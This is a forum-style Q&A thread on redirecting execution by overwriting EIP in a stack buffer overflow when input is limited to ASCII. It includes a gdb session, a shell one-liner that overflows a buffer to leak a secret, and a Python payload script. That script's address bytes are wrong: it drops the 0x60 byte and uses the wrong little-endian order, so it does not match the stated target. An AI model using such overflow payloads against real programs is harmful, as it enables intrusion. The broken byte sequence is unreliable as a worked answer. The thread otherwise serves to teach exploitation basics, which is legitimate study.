Control EIP with ASCII values

Question

I'm trying to overwrite the EIP to cause a buffer overflow. I can write values to the EIP but I'm only able to write ASCII values and I need to redirect the execution to a high stack address e.g. 0xbfff4a60

I can overwrite by using AAAA which will convert to 0x41414141. I have sixteen bytes available to write to. Is there any way of doing this with ASCII, or unique assembly tricks entered using ASCII?

Entering extended ascii values doesn't work such as ÿ

Answer 1

Example if we examine the location of a function which prints the secret we want to leak:

(gdb) p &print_secret
$2 = (void (*)()) 0x55555555473a <print_secret>
(gdb) Quit

In the above scenario we are lucky that the hexadecimal location (55555555473a) can be written as UUUUG: and backwards because it is little-endian computer:

$ ./main $(python -c "print 'AAAAAAAAAAAAAAAA:GUUUU'") B
the secret is: blahonga
Segmentation fault (core dumped)
$  

But if the location is for example bfff4a60 then that would not translate within ASCII and you get "garbage" trying to translate it. Instead you convert it to bytes

>>> bytes.fromhex("bfff4a60")
b'\xbf\xffJ`'

And use a script to output it to the program you are going to attack (see https://stackoverflow.com/questions/6624453/whats-the-correct-way-to-convert-bytes-to-a-hex-string-in-python-3):

import sys
import struct

def writeStr(v):
    sys.stdout.flush()
    sys.stdout.buffer.write(v.encode("ascii"))
    sys.stdout.flush()

def writeBytes(v):
    sys.stdout.flush()
    sys.stdout.buffer.write(v)
    sys.stdout.flush()

# Write 16 bytes
writeStr("AAAAAAAAAAAAAAAA")
# Overwrite the instruction pointer
writeBytes(b"\xffJ\xbf")
writeStr("\n")

Answer 2

If you want to enter high bytes into stdin (for example when debugging with gdb in a shell) then you first have to change the encoding of the terminal emulator you are using from UTF-8 to ISO-8859-1 or something similar so your entered bytes don't get converted into something else.

Once you have done this you can enter the byte values with ctrl+shift+u and the hex number.